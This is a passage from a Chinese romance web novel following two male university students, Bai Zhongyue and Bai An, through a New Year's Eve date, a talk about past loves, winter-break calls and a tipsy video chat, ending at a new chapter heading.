盘口大致和柏安的手伸开差不多大,糕点只占盘子中央部分,量不大。柏安刚想着两个人差不多可以吃完,服务生就又送了一份过来,同样规格的六份,上面是雕出花样的鲜果,中间有些干果柏安不认识,最下层是浸在清澈汁水里用薄荷点缀的白润荔枝,和一侧装饰里大小相等个个滚圆置在雪似的带壳龙眼。
柏安小幅转头看了下其他桌,确定这是白仲钺点的不是固定消费:“怎么点这么多啊......”
“不多,”白仲钺把那杯杏仁玉露放到柏安面前,“尝尝看。”
刚好入口的热,刚好的甜度,刚好的奶味,包裹着几丝融去了棱角的极细微的涩。
柏安弯起眼睛:“好喝。”
白仲钺笑笑,把自己面前的摩卡放到柏安那边:“要不要尝尝我的?”
“可以吗?”
“嗯,”白仲钺笑着侧头看柏安,“不过我喝过了。”
“我看见了,没有介意这个。”
“知道你不介意。”
毕竟亲都亲过了。
直接接吻都不止两三次,还介意间接的吗?
柏安脸有点热,明明白仲钺没说什么,但他就是觉得自己听懂了这句话的潜台词。
其实白仲钺是故意的吧......
那杯森林摩卡,柏安喝了一口,没记清味道。
大抵该是有点苦的,可只觉得甜了。
每种点心都尝了一两块,白仲钺偶尔会问他觉得怎么样,喜不喜欢。口感味道各不相同,但的确每一种都很好,酥酪清香,甜点绵软,只不过柏安描述不出,舌尖融着美妙滋味可每次回答都是干巴巴的“好吃”。
好在白仲钺不介意回答细致还是简单,柏安弯着眼睛说好吃就足够了。
“还有二十几分钟,再坐会儿,等快到时间的时候我们去露台。”
“好。”
楼下是A市近几年最出名的广场,广场中央是令人瞩目的地标建筑,云钟。
柏安拿了一颗龙眼,向外仰头看高处巨大的钟表:“学长,你说这个表有过不准的时候吗?”
“我猜有,不过可能在有不准确趋势的时候就被校正了,所以没被发现过。”
柏安从龙眼底部开始一点一点用指甲剥壳:“有道理喔。”
“这样,”白仲钺拿起旁边一个不比牙签长多少的金色小刀,在龙眼侧边竖向压开一个小口,顺着缝隙边捏边转,龙眼在指腹间转一圈后壳就对半裂开了,“用工具比较快。”
白仲钺的手真好看啊,手指聚在一起摆弄一颗龙眼都格外有观赏性。
“这个品种的龙眼现剥现吃口感最好,不适合提前去壳......”白仲钺察觉柏安似乎有点出神,“怎么了?”
“没,我试试。”柏安眨眨眼,立刻伸手拿了一个实验,果然快了很多,而且越剥越顺。
五六颗晶莹剔透的龙眼在白仲钺的瓷碟里凑成了一个不太规矩的圆。
白仲钺一一叉起来吃了:“别只给我剥。”
“唔,”柏安用舌头把核顶到腮边,“我也在吃呢。”
果皮碟在白仲钺这边放着,柏安嘴里含着核,说话有点含糊,“学长,麻烦帮我抽张纸巾。”
白仲钺抽了张纸巾,没递给柏安,径直把手伸到了柏安嘴边。
!!!
事实证明,人是可以在短短几秒内红透整张脸的。
柏安想抬手把白仲钺手里的纸巾拿过来,白仲钺轻轻一躲,没让。
要……把核吐到白仲钺手上?!
虽然隔着纸巾,但那也是白仲钺的手啊!
白仲钺手仍旧举着,人又向柏安贴近了点:“要到时间了。”
柏安心一横,低头把核吐出来:“走……走吧。”
白仲钺答应着起身,视线仍旧在柏安脸上——起来的红还没散尽,看着粉扑扑的。
“学长你等我下,我去结账。”
白仲钺一怔的功夫,柏安生怕白仲钺不让似的,已经走出去小段了。
这边面积大,设计七拐八绕的,柏安一下找不到结账的地方,半路拦住了一位工作人员问。
白仲钺在柏安看不到的地方也按铃叫了人:“告诉收银,我这一桌结账只算服务费,不用出收据明细。”
“好的,明白。”
柏安到收银台的时候,负责收银的人刚对着耳机答完话。
“您好,一共二百元整。”
柏安在心里悄悄舒了口气,还好,比他想得要便宜,他还以为在这种地方随便点点东西就要大几百。
付完钱白仲钺已经过来了:“走吗?”
柏安笑了笑:“走吧,去哪边?”
两个人到露台的时候,还差五分钟零点。<
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p>周边没人,白仲钺伸手捂住柏安的两个耳朵,把冰凉的耳尖捂暖。
“冷?”
柏安吸吸鼻子:“有一点,还好。”
他穿着一件短款薄羽绒服,白天不觉得,半夜时分的室外就有些冻人了。
拉链拉开的声音。
柏安刚要转头,就被从后面整个裹住。
白仲钺的羽绒服很长很大,敞开怀足够容纳一个柏安进去。
如果两个人挨得足够紧的话。
“暖和点了吗?”
“嗯,”柏安后背抵着白仲钺的胸膛,能感觉到从白仲钺身上散出来的温热,“白仲钺……”
“嗯?”
“我有时候会想,你为什么会喜欢我......喜欢你的人那么多,无论从哪一方面来看,比我好的都有吧,你为什么就喜欢我了呢?”
“那你呢,你为什么会喜欢我?”
柏安一下答不出。
白仲钺太好了,成绩、外貌、性格、人品、能力,等等等等,他在许多方面都足够出色,在许多场合都吸引人的视线,喜欢他是再正常不过的事情了。
谁会不喜欢白仲钺呢?
白仲钺天生就是会被许多人喜欢的。
可仅仅是因为可以一五一十数出来的这些原因吗?
似乎,也不是。
“不知道没关系,”白仲钺低头在柏安耳边说,“我也不知道,硬要说能列出很多条,但每一条都不足够成为原因。”
“嗯......”
“其实为什么不重要,喜欢就是喜欢。”白仲钺喊了他一声:“柏安。”
“嗯?”
“我觉得,要说明一点。”
“什么?”
“没有人比你好,你在我这里就像我在你那里一样。我不是在喜欢我的人里选了你,是我喜欢你,而你恰巧也喜欢我,知道吗?”
柏安在白仲钺的衣服里转过身,扶住白仲钺的肋侧踮脚,在白仲钺低头的时候用嘴唇去碰白仲钺的嘴唇:“知道了。”
这样虚虚碰着说话,抓得人心痒。
白仲钺把人裹得更紧。
“柏安,看那边。”
柏安侧头看过去,惊呼出声:“烟花!”
五颜六色大大小小的烟花在欢闹声里升高、散开,紧接着,爆炸声此起彼伏。
市里禁燃,空气里没有刺激气味,柏安反应过来:“是灯!”
是平时用作照明和装饰的灯。
灯柱上方是无数散开的细灯条,各色灯光由下向上去,最终散开在无数细小灯条里。
伴着音箱里的炸响,如同一场真正声势浩大的烟火盛宴。
“这里的灯柱是我高中毕业的时候安装的,那年冬天广场挤满了人,比现在还要多很多,我当时想,以后一定要带我喜欢的人来。”
露台只有他们,但广场的人声和音箱放出的爆炸声有些大,柏安扬声说:“我来了!”
白仲钺也提高了声音:“开心吗?”
“开心啊!”
“希望——”白仲钺一只手拢着柏安,一只手放在嘴边侧头对着高处的云钟喊,“柏安今后的每一天都开心——比今天更开心——!”
“会的——!”
白仲钺低头亲柏安的眼尾:“倒计时了。”
柏安转过头看他,白仲钺的眼睛里,映着自己和烟花。
倒计时声,欢呼声,爆炸声,钟声。
他们在交织的热烈喧闹中亲吻,从旧年的最后一秒,吻到新年。
25.情史
到家已经凌晨两点了。
家。
柏安看着白仲钺的背影想,家大概是用人来定义的。人对的时候,无论什么样的空间,无论这个地方在法律意义上归属于谁,无论暂停还是久住,都可以称之为家。
“喝点水。”
柏安接过来,眼尾弯弯:“谢谢学长。”
白仲钺也笑:“学弟客气。”
柏安喝水的时候经常喜欢喝一大口存在嘴巴里,然后一小口一小口地咽下去。大概为了余出口腔的空间方便吞咽,每次把水含进去咽的时候两边脸都会被挤到两边的水撑得鼓起来,再渐渐消下去。
“我脸上有东西吗?”
“没有,”白仲钺一只手把柏安磨蹭脸的手拿下来,拉着他放下杯子到主卧去,“睡衣都是干净的,你睡觉如果习惯穿的话随便拿。洗漱用品有新的,不早了,你收拾完赶紧睡,我就在客卧,有事随时叫我。”
柏安一怔:“不一起吗?”
白仲钺才是真的愣了:“一起?”
“啊,那个,”柏安和白仲钺说话的时候经常不过大脑,他一直理解错了白仲钺的意思,居然就这么直接问出来了,“我随口说的,没别的意思,那个,洗漱......用......的......”
白仲钺一步一步把他往床上赶,柏安一步一步往床边退,膝弯碰到床沿被迫坐在床上又不得不用手臂支撑着后仰的身体的时候,柏安强撑着的“正常”彻底垮台:“学长......别......”
“你想一起?”白仲钺只愣了那一两秒,发现柏安慌了阵脚之后就忍不住想欺负人,“那就一起,不过我自制力不好,你......”
“学长,学长,”柏安打断白仲钺,低声告饶,“我没有,我最开始想岔了,以为你想,我没有那个意思,我没准备好......”
白仲钺笑了一声,没再继续向下压身子,在柏安唇上亲了下:“好了,不闹你,我的确想过,但只是忍不住想想,不着急实践。”
“学长,别说这个了,换个话题,拜托......”
“好,”白仲钺在柏安旁边坐下来,“你没准备好,因为我想,所以就可以?”
柏安两条眉毛都要变成“八”字了:“不是说换个话题吗......”
“在换了,过渡。”
柏安努努嘴,总觉得白仲钺高举顺着他的旗帜,做着欺压人的事:“你想的话,就,也可以,我克服一下就好了。”
“不用克服,不用刻意,也不要违背自己的想法去做什么,”白仲钺早就想说,只是一直没合适的机会聊起,“比如剥水果、结账、帮我拿包之类,不用这样,你可以放心享受和我在一起的时间,享受恋爱。”
柏安不太赞同:“如果只享受会出问题的,一方一直在享受什么都不考虑,那遇到事情就需要另一方费心去处理去迁就,一次两次没关系,经年累月,多少喜欢都会耗干净的。”
“的确是这样,可一直考虑对方怎样、想自己应该怎样,压下自己的意愿去附和对方,总放松不下来,会累的。像你说的,一次两次没关系,经年累月呢?”
柏安眨眨眼睛,手指在床单上刮了几下。
“那这样好不好,”白仲钺手钻到柏安手下边去,让柏安指尖落在自己手背,“我们都放松,一起享受,遇到不合自己想法的事就告诉对方,然后商量解决掉。遇到需要一方妥协让步的事,不管是两方都想还是都不想,轮流来,你觉得可以吗?”
柏安点点头:“可以。”
“咚,”白仲钺在柏安掌根弹了下,“提案通过。”
柏安笑起来:“感谢白同学的提案,期待您今后带来更多精彩。”
“好说,”白仲钺把伸进柏安掌下的手翻了个面,让手指穿插交扣住,“业务费,柏同学结一下吧。”
“啵”一声,柏安在白仲钺脸上亲了响亮一下。
“学长。”
“嗯?”
“你为什么觉得结账拿包之类是刻意在做啊?也可能只是我想呢?”
“不一样的,”白仲钺说,“你想做一件事和你觉得这件事需要做所以去做一件事,我感觉得到不一样。”
时间不早了,但都不困,好在上午没什么事,两个人索性挨着聊起天来:“其实是有点刻意去做,但是,也没有不想,我就是觉得男朋友都是需要做这些的。”
“拿我当女生?”
“没有,”柏安立刻直起身,“绝对没有把你当女生的意思。”
白仲钺在柏安头上揉了下:“知道,开玩笑的。”
“我就是第一次正式谈恋爱,怕做不好,想做好一点,所以有时候就会想得多一点。”
白仲钺一时没应声,柏安伸手在他面前晃晃:“怎么了?”
“你说,你第一次谈恋爱?”
“嗯......第一次,正式谈恋爱。”
“那就是有过不正式的?”
柏安犹豫一会儿:“这么好的气氛,我说这种......类似感情史的事,是不是不太好?”
“说吧,”白仲钺盘起腿,“你不说我今晚一定睡不好。”
“我是初三的时候发现自己喜欢同性的,好像忽然就发现了,但是我不敢说也不敢问,暑假的时候偷偷坐车去网吧查,反正用了一段时间才确定自己是同性恋,确定之后又很慌,觉得自己有了一个不能见人的秘密,想有人可以分担又害怕别人知道。”
白仲钺贴近柏安,抬手把他搂住:“之前一起吃饭的时候说起有没有谈过恋爱,你好像很难开口,虽然我很想知道,但是如果真的不想说或者说了会让你难受,可以不说。”
“没有,”柏安终于发现白仲钺似乎想错了什么,“没有难开口也不会难受,我就是想从头慢慢讲,那我直接说重点。”
“不用,没有就好,你慢慢说。”
“其实也到重点了,就是因为以上铺垫的那些原因,高一发现班里也有一个男生是同性恋的时候,两个人关系不自觉就近了。其实不是喜欢,也没有打算恋爱,但我们确实悄悄牵过手,试探着抱过,还......差点接吻……”
柏安不想瞒白仲钺什么,即便这些过去式无从查证,即便他随便略过些什么白仲钺也不会知道,可他不想。如果他想瞒,那次真心话大冒险的时候他就不会那么纠结,也不会让白仲钺误以为自己有段难开口的过去。
但说了,还是会怕白仲钺不开心。
柏安悄悄打量,白仲钺没什么特别的神色,语气平平:“嗯,继续。”
不开心了。
“之前一起吃饭的那次,我是因为不知道该怎么说,我觉得那不算正式恋爱,不能算谈过。但你在旁边,如果我说没谈过,我怕万一以后能够和你在一起,你知道会觉得被骗了。而且当时那么多人在,我也不好解释,就觉得不回答好了,没想到你会想多。”
“你当时的反应,谁都会想多。”
柏安笑笑:“我喝酒了嘛,脑细胞不太够用。”
“嗯,”白仲钺曲起搂着柏安的肩,捏了捏他外形有些圆的耳朵,“后来呢,你们因为什么没在一起?”
“有一次在教室,晚自习之后同学都走了,我们待在一起的时候被一个同学录了视频,告诉了老师,一个……”柏安略自嘲地笑了笑,“一个和我关系不错的同学,在那之前,我以为我们是朋友来着。”
那是柏安第一次尝到所谓背叛和扎刀的滋味,他来不及去细究这份告发的缘由,因为他从早到晚都在求班主任,不要通知家里。
当时柏安的妈妈生病刚出院,全靠奶奶照顾,柏安根本不敢想这件事被告诉家里会怎么样。班主任是个很严厉古板的小老头,事情被告发到他那里的时候他把两个人劈头盖脸骂了一通,没告诉任何人,因为他觉得那是说不出口的事,会让班级蒙羞。
柏安当时差点要跪下,在最后一刻被班主任拦住了,让他记着现在,别再有下次。
白仲钺心里的不舒服和醋意
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还没来得及发散就因为柏安那一抹笑生出心疼,他拇指在柏安耳后蹭了蹭:“没事了。”
“嗯,没事了。”柏安转头看白仲钺,眼圈有点热,他没有办法形容自己现在的感觉。这一刻他好像不是现在的自己,是三年前的,白仲钺安慰的也不是现在的追忆,是当时无可宣泄的难过。
“不说了,”白仲钺在柏安眼角吻了下,“都过去了。”
“都说到这儿了,说完吧,还差一点。后来那个男生转学了,本来也没有感情,更像是因为有一个共同的秘密可以分担重量,相互取暖,所以转学后就没再联系。嗯......讲完了。”
“嗯,睡吧。”
柏安歪歪头:“你反应这么平淡啊。”
“你想看我真实的反应?”
“说好要把心里的想法告诉对方的。”
白仲钺忽然翻身跪在床上把柏安按在床头吻住了,攻势强横,直把人亲得脸通红呼吸不了才松开一会儿:“你们怎么抱的,打算怎么亲?”
不等柏安答,又重新把人吻住,想要出口的话都变成细碎的呜咽声。
“会张嘴吗?伸舌头吗?”
“唔......”
直到嘴都肿了柏安才找到一个能说话的间隙:“怎么可能......那时候根本不懂这些,就算真的亲最多也就碰一下......”
柏安喘得厉害,推着白仲钺不让他继续:“我都没有亲,你呢?难道你也没亲过别人?”
“没有。”
柏安两片通红微肿的唇张着半晌没合拢:“你,没有?”
白仲钺在他头上弹了下:“你还不信?”
柏安碰碰自己的嘴:“昨天,和我,你的初吻?”
白仲钺看着柏安的样子没忍住笑,轻轻把柏安嘴角的湿润擦干:“是啊,昨天,和你,我的初吻。”
“那,”柏安忽然想到什么,“之前祁学长为什么说高中有女生骂你是——”
渣男。
白仲钺知道后面的词是什么,偏要问:“什么?”
柏安说不出口:“你自己知道。”
白仲钺捏着他脸颊晃了晃。
“高中我也喜欢打球,经常有女生送水,那时候一般道声谢就接了,没注意过是谁送。没想到有个女生以为我只接她的水,说某一次托别人给我送水我没接,她自己送水我都接了,觉得我对她不一样。”
“后来她找我告白,端了一杯自己榨的果汁,结果我没想起来她是谁,也不记得她叫什么名字,最后那杯果汁都泼我身上了。”
不能笑。
不好。
但是,忍不住了——
柏安把脸埋在枕头里尽量不让自己出声,肩膀一耸一耸的,被白仲钺强行翻过身之后索性不忍了:“哈哈哈......别......别挠......痒......哈哈......我错了错了......啊学长......”
“笑话我,嗯?”
“没有没有,我不敢了,”柏安把白仲钺作恶的手牢牢抓住又被反按回床里,“你老撩我,谈起恋爱一点都不生疏,我以为你情史丰富呢。”
“我的情史,只有你一个。”
柏安心猛地一跳,缓了好一会儿才认真说:“我的情史,以后也只后你一个。”
可白仲钺不满意,手肘撑在柏安两侧,手脚压住柏安的手脚:“不是以后,是一直,你们当时没在一起,没名没分,不算数。”
柏安被笼在身下,心跳呼吸乱成一团,什么话都说不出,只颤着睫毛眨了眨眼。
“白仲钺的情史只有柏安一个,到你了。”
“我……”柏安喉结上下滚动几次,“柏安的情史也只有白仲钺一个。”
白仲钺点头通过:“嗯,说好了。”
“你现在,咳......”柏安忍不住又笑起来,脸都有点酸。
“什么?”
“你现在有点幼稚,特别可......唔——”
26.记账
过完元旦,学校里所有人都不约而同紧张起来,图书馆从开门到闭馆总没空位,每个自习室都有不少人,走廊一致有人小声背书,连路边排椅上都有人做题。
A大平时的学习气氛就很浓,临近期末更上一层楼,柏安第一次经历大学的期末,仿佛重新看见了高考。
柏·瑟瑟发抖·安:“学长,咱们学校期末考试很难吗?”
“还可以,”白仲钺说,“不挂科简单,考高分满分难点。”
柏安觉得,“考高分满分难点”这句话在白仲钺那里的语气好像听不出难的样子。
“尽量好好准备,考好一些,之后各种加分、奖学金、称号评选都和成绩挂钩。”
“好的,”柏安想了想,“那我还是问问能不能把每周家教的次数减少,一会儿和家长说一下。”
“嗯,车过来了。”
柏安看了一眼驶近的公交:“学长你晚上别出来接我了,这儿离学校近,而且我一个男生,没事的,你也好好准备考试,有时间就多休息。”
公交停在站台边,白仲钺和柏安排在队尾:“我想来。”
柏安一怔:“学长,你......”
“我就是想见你。”
“......”柏安闹了个脸热,埋头上公交之后才隔着车窗向白仲钺挥了挥手。
平时白仲钺宿舍几个人跑图书馆挺勤的,但每次到期末就窝在宿舍不出去了——哪里都没有宿舍清净,有想讨论的还能随时抓到人。
白仲钺回去的时候顺便带了晚饭,他和柏安一起吃过了,这会儿另外三个人吃,他拿了本题看。
“老白,”姜宗川筷子在盖饭里戳了几下,没预兆地说,“我想追文舒冉。”
白仲钺还没出声,祁延先喊上了:“你什么时候看上人家的啊?没见你俩什么交集啊?”
“挺久了,可她不一直对老白有意思吗,我也不好说。”
文舒冉是学生会的女生,和白仲钺一批进学生会,同部门,只不过白仲钺大三之前退了,她还在。
喜欢白仲钺的人很多,文舒冉应该是很特殊的一个,她从没承认喜欢,可谁都知道她喜欢。
文舒冉从没有过越界的举动,白仲钺也一直拿她当普通同学,但其实有不少人私下说过,如果有一天白仲钺脱单,百分之八十是文舒冉。
就连柏安都曾经觉得白仲钺和文舒冉郎才女貌。
谁都没想到白仲钺会忽然公开表白,更没想到对象是身为男生的柏安。公开表白那天,文舒冉在白仲钺【他答应了】的动态下评论了【恭喜】,之后再没有像之前的两年一样在白仲钺的动态下留过言。
白仲钺没什么表情,转头看他:“你喜欢就追,往我身上扯什么?”
姜宗川没吃完,把剩下的盖饭收了:“谁不知道她对你有意思啊?之前万一我追了你再有天发现自己喜欢她,整成个三角恋,多没劲。而且你现在和柏安在一起,她对你没念想了,说不定就看上我了呢。”
“我还是刚刚那句话,你喜欢就追,别往我身上扯。”
祁延“噗”地一声:“可看出来是有家室的人了,这,生怕沾上点事说不清啊。”
赵煜忽然站起来:“我有事下去一趟。”
“干嘛去啊?”
祁延声还没落,宿舍门已经“砰”一声重新被关严了。
“我去......”祁延看着门后直晃悠的挂件,“煜子什么情况?”
姜宗川站起来去阳台洗了把脸,问祁延:“你吃完了吗?吃完自习。”
“哦,行,自习吧。”
一直到白仲钺准备去接柏安,赵煜也没回来,打电话说朋友找他喝酒,晚点回。
回来的时候都半夜了,姜宗川拿着校园卡去接的人。喝得酒气熏天,回宿舍就吐了一通,第二天下午从床上起来又笑笑闹闹了,就是话少,有时候一个人坐那儿发呆,别人叫几声才听见。
都觉得赵煜有事,祁延白仲钺都问过,赵煜一直说没事,让别操心。再怎么样,这么大个人了,自己不想说也没有硬扒开问的道理。
没多久考完试放寒假,他们专业考试一直早,往常宿舍几个人都会晚个一两天一起吃吃玩玩放松一通才各回各家,这次刚考完,赵煜就收拾东西走了。
姜宗川是第二天走的,祁延陪着校花考完说一起出去玩几天,宿舍剩了白仲钺自己。
柏安考试他就去图书馆看看书,柏安不考试就陪着复习,从18号陪到22号,22号下午考完试,一起吃了饭去校外白仲钺的房子住了一晚,第二天白仲钺把人送到火车站。
一直等柏安到家收拾好给白仲钺打电话,白仲钺才幽幽怨怨地说,祁延和女朋友出去玩,到现在还没回来呢。
柏安聪明的小脑袋瓜及时上线,对自己的行为进行严厉批评:“学长陪我那么长时间那么辛苦,我都没有好好慰问学长也没有好好陪学长,真是太不应该了!”
白仲钺被逗得直接破功笑场:“你要怎么好好慰问?”
柏安好一会儿没出声。
脸一厘一厘地红。
白仲钺陪他复习的时候,偶尔在教室图书馆,大部分时间在白仲钺宿舍,每次柏安话里流露出白仲钺这样陪自己有点过意不去的意思,就会被按着亲半天,路上遇见郝昕还被问过是不是辣椒吃多了上火。
考完试和白仲钺一起在外边住的那晚,两个人还是分开睡,但在沙发上的时候......
根本不能想!
“想到哪儿了?”
柏安往床上一趴埋进被子:“白仲钺......”
每天零零散散的聊天,晚上视频或
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者电话,几声炮仗炸响在墙外巷子里的时候,柏安忽然意识到要过年了。
聊起过年,聊到家里,柏安才知道白仲钺爷爷身体不好,常年住在疗养院,奶奶一直陪着住在那里,外婆外公在邻市。白仲钺和爸爸妈妈会在除夕去疗养院,年后去外婆外公家里。
“所以每年都要在疗养院过年吗?”
“对,”白仲钺看着柏安拧起眉的小表情笑出来,“说是疗养院,其实和他们的家一样,只不过医疗配置相关的工作人员多而已,你不要脑补得那么凄凉。”
“我以为像医院。”
“没有,到时候给你拍视频看,别皱你的小眉头了,”白仲钺站起来走到窗边,“你呢,怎么过年?”
“我过年就和奶奶还有我妈一起过,我姥姥和我家关系不太好,姥姥一直和舅舅住,之前会去送年做客什么的,近几年渐渐不来往了,逢年节我妈会去,不过放下东西就回来,也不让我过去。”
“只和奶奶妈妈?”
“嗯......爷爷在我很小的时候就不在了,初中的时候,我爸也因为意外去世了。”
这次换成白仲钺皱眉头,柏安扯起嘴角笑了下:“没事的学长,已经过去很久了。”
柏安手机屏幕里的白仲钺不断被肉色暗影挡住一点又撤开,连续几次柏安才发现那好像是白仲钺的手指。
“你在干什么?”
“没干什么,”白仲钺看着手机里的柏安,拇指在他头顶的位置一下下摩挲,“就是觉得,如果在你身边就好了,我想抱抱你。”
“嗯......记账。”
白仲钺笑了笑,打起精神来,怕自己的情绪让柏安更难受:“柏老板的小账本记多少了?”
“半页吧。”
“是吗?你是不是缩水了,我怎么记了两页多。”
柏安提高声音:“你真的记了啊?”
“对啊。”白仲钺走到桌边去,原本他想等开学再说的。
开抽屉和翻页的声音,白仲钺正经地像在念课本:“1月23日,柏安欠送别吻一个。1月24日,柏安欠摸头一次。1月24日,柏安欠捏脸一次。1月26日,柏安欠摸头随便多少次。1月27日,白仲钺欠十分钟接吻一个。1月28日,柏安欠早安吻晚安吻各一个。还是1月28日,柏安承诺......”
“好了好了好了,”柏安投降,“这个别念,不是,别的也不要继续念了。”
白仲钺从善如流:“嗯,不念了,把今天刚刚欠的抱一下记上。”
柏安翻了个身把自己裹紧被子里,控诉:“白仲钺你好幼稚啊!”
“这叫严谨,”白仲钺把笔记本收回抽屉,“等开学,我们就对着这个账本清账,清一个就在后边打个勾,一个都不能漏。”
“白仲钺——”
27.半醉
从年前几天到年后一周白仲钺一直很忙,白天很少有时间主动给柏安发消息,晚上的视频和电话时间大都很短,有时候柏安已经困了,有时候能够明显看出来白仲钺累,即使白仲钺说没事柏安也会催着赶紧挂断收拾休息。
正月初九的时候白仲钺难得八点多就给柏安发了视频邀请,不过平时视频或者电话前都会发消息,这次忽然打过来,柏安吓了一跳,按下静音随便诌了个借口回了房间。
白仲钺已经挂了,柏安刚想打过去,白仲钺又打了过来。
“你做什么去了啊?”
视频一通柏安就看出沙发里的白仲钺不正常:“刚刚在和我妈剥花生米,你喝了很多酒吗?”
“嗯,”白仲钺皱着眉,“几个朋友回来,轮番灌我,如果不是他们要倒时差,我今晚大概回不来了。”
白仲钺从年前开始几乎每天都喝酒,但没醉过,大都是些聚餐酒宴,有时候还会悄悄和柏安吐槽无聊。今天很明显喝醉了,说话慢吞吞的,眉头一直微拧,脸上也染了红。
柏安还是第一次见白仲钺醉的样子,十分新奇。
“你难受吗?要不要早点休息?”
“不难受,”白仲钺眼睛一眨不眨地看屏幕,“想看你,想和你说话。”
“我也想你啊。”
“小钺回来了?给你煮点解酒汤吧?”
柏安一把捂住嘴,白仲钺说“没事”,然后转头给柏安看自己耳朵上的耳机。
屏幕里的白仲钺只剩了鼻子往下:“金姨你在啊。”
“我今晚不回去,夫人担心你喝多,让我等你回来照顾你。”
白仲钺点点头:“爸妈还没回来吗?”
“还没有,你喝点水,我给你煮解酒汤。”
“喝不下,金姨你别煮了,泡杯茶就行。”
柏安立刻说:“喝了酒不能喝茶。”
白仲钺重新把手机举高:“嗯?”
“酒后喝茶不好,不能用茶解酒。”
“那不喝茶了,”白仲钺重新把手机放低,“金姨,不用给我泡茶了,你早点休息。”
柏安在那边说:“可以喝点糖水。”
金嫂把茶叶罐放回去,探头说:“我还是给你煮点解酒汤吧?不占肚子。”
“不了,给我冲杯糖水吧。”
“糖水?”金嫂在家里做了八年,就没听白仲钺说过要甜东西,更别说糖水,“不然给你冲杯蜂蜜水?想喝吗?”
“糖水。”
“好,你等一会儿,我去弄。”
柏安没来得及说蜂蜜水也可以,说不定比糖水效果好,只是他家里不习惯备蜂蜜,只记得以前他爸喝多了妈从来不让喝茶,都是给冲糖水的。
白仲钺接过糖水,一字一句地说:“谢谢金姨。”
金嫂早习惯了:“不客气,听话,喝吧。”
“金姨你去休息吧,我自己待会儿。”
“好,我开着门,你有事叫我。”
白仲钺喝一口,觉得甜腻腻的,皱着眉头一口气喝完然后把空杯子给柏安看:“我喝光了。”
柏安想到刚刚听见的那句“听话”,绷着笑说:“哇,好厉害。”
白仲钺把空杯子放回桌上,端起旁边的清水喝下小半杯把嘴里的甜味冲干净:“我想抱你睡觉。”
柏安猛地一震,白仲钺戴着耳机,对面听不见自己说话,可是能听见白仲钺说话啊!
“家里还有人呢,别说这个。”
“可我就是想抱着你睡觉,什么都不做,行吗?”
柏安简直要崩,怎么还越说越多了?!
“你先回房间,回房间我们再聊,你能走路吗?”
白仲钺点点头:“能,我从门口自己走进来的,没有醉得特别厉害。”
柏安看白仲钺有点晃,吓得要命:“你要不然喊阿姨扶一下吧好不好?”
“不用,可以自己走。”
白仲钺扶着扶手上楼梯,镜头一晃一晃的,金嫂听见声音出来扶,白仲钺站在楼梯上很认真地说不用扶,金嫂只好在白仲钺后边跟着,看他回了房间才松下神经。
“我回来房间了,”白仲钺把手机对着房间转了半圈,“你看。”
“好厉害,现在躺下吧?”
白仲钺又说了一遍:“我回来房间了。”
“我知道你回房间了,接杯水放床头吧,免得晚上渴迷迷糊糊地下床不安全。”
白仲钺听话地去房间另一边接水。
“保温杯在吗?接点常温的,再兑点热的。”
白仲钺把保温杯给柏安看,然后调转摄像头,让柏安看自己先选了18度,接了大半杯后又选了100度,最后把水杯放在床头才把摄像头调转过来对着自己:“都做好了,你刚刚答应的,回房间再聊,那,我能抱着你睡觉吗?”
人喝醉了还有记忆力这回事?而且既然白仲钺的饮水机可以任意温度,那直接选合适温度就好了吧?
“柏安。”白仲钺眉心微微蹙着叫他。
“哎,哎,”柏安立刻应,软声哄道,“我现在不在,没办法抱着睡。”
“等开学,见面,我能抱着你睡觉吗?”
人喝醉了是还可以有逻辑的吗?
“白仲钺,你真醉还是假醉啊?”
“嗯......半醉,三分之二醉。可以吗?”
柏安被三分之二醉这个说法弄得想笑,一时没反应过来:“啊?”
“等见面,可以抱着你睡觉吗?”
“咳,你现在听话睡觉,就可以。”
“可是我现在不想睡,不困,我想看你,想和你说话。”
柏安笑着趴在床上:“原来你喝醉了这么黏人啊?”
“不黏人,”白仲钺一瞬不瞬地看柏安,“只黏你,喜欢你。”
到底为什么!这人!!喝多了也这么会撩啊!!!
柏安再三保证自己同意可以抱着睡觉,一直聊到睡着,第二天醒的时候还抱着手机。白仲钺醒得晚,醒了之后和柏安打电话聊了会儿,没提到关于昨晚的话题,柏安悄悄以为白仲钺酒后断片忘了。
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没想到,开学刚见面白仲钺就扔了个雷。
“答应喝醉的人的事,算数吗?”
“什么?”
“你们后天正式上课,明晚才会查寝。”
柏安在白仲钺准备贴到他耳边解释之前把白仲钺说的事对号入座,转头看别的地方:“算......”
先把行李放回宿舍,再一起出去,柏安努力把脑子里循环播放的答应过的事塞进犄角旮旯,让自己不要看起来那么不淡定。
“我们这学期加晚自习了,每天晚上两个小时,学生会不定时查人,计入平时分。”
白仲钺顺着他聊正经事:“七点到九点?”
“对,你以前也有晚自习吗?”
“大一上了一年,你上学期没有,我还以为你们学院没有晚自习了。”
柏安叹了口气:“我还以为大学就不会有晚自习这个东西了。”
“这学期还兼职吗?”
“要的,不过晚上的家教肯定不行了。”
“柏安,”白仲钺停下步子,“其实有句话一直想说,但怕你会不舒服。我没有别的意思,就是想告诉你,你有我,可以不用让自己太累,不管有什么需要都可以和我说。”
“我知道,知道你一直很尊重我的想法,也知道不管我需要什么你都会给,不过还是优先自食其力嘛,”柏安停住步子,竖起三根手指,“我保证,如果有应付不来需要援助的时候一定第一秒告诉你。”
白仲钺没忍住在柏安头上揉了揉:“好,听你的。”
“其实我有个想法,上学期有的。”
“什么?”
“我在校外的豆浆摊买过豆浆,一个可以移动的小摊车那种,是连锁品牌,可以加盟,挺好喝的。我观察过,做起来很简单,机器里倒上热水和不同口味的原料就可以。咱们学校食堂只有那种很稀的黄豆豆汁,我觉得可以试试看加盟一个豆浆车在学校卖豆浆,早中晚人多的时候各一小时就好。”
白仲钺点点头:“可以搜加盟电话问问看,先想好都有什么问题,把成本和之后的供货流程弄清楚,可行的话再想想在哪里卖合适。”
“白仲钺......”
“嗯?”
“你怎么这么好啊。”
白仲钺笑了一声:“你等会儿,回去再招惹我。”
柏安发出抗议:“我没招惹你,是真的觉得你好。”
“你这么认真地夸我就是在招惹我。”
“你不讲理!”
“嗯,”白仲钺半点不在意被扣帽子,“对,我不讲理。”
刚进门鞋都没换就被抵在门上吻住了,柏安回抱住白仲钺仰头亲他,用鼻子去碰白仲钺的鼻子:“想你了......”
白仲钺拥着柏安一下下地碰,像饿久的人终于一口气吃到半饱,能控制住慢慢品尝了:“我也想你,在车站看见你第一眼,就忍不住想算账了。”
“唔......算什么账......”
“假期的欠账,整六页,我们慢慢来......”
28.呀
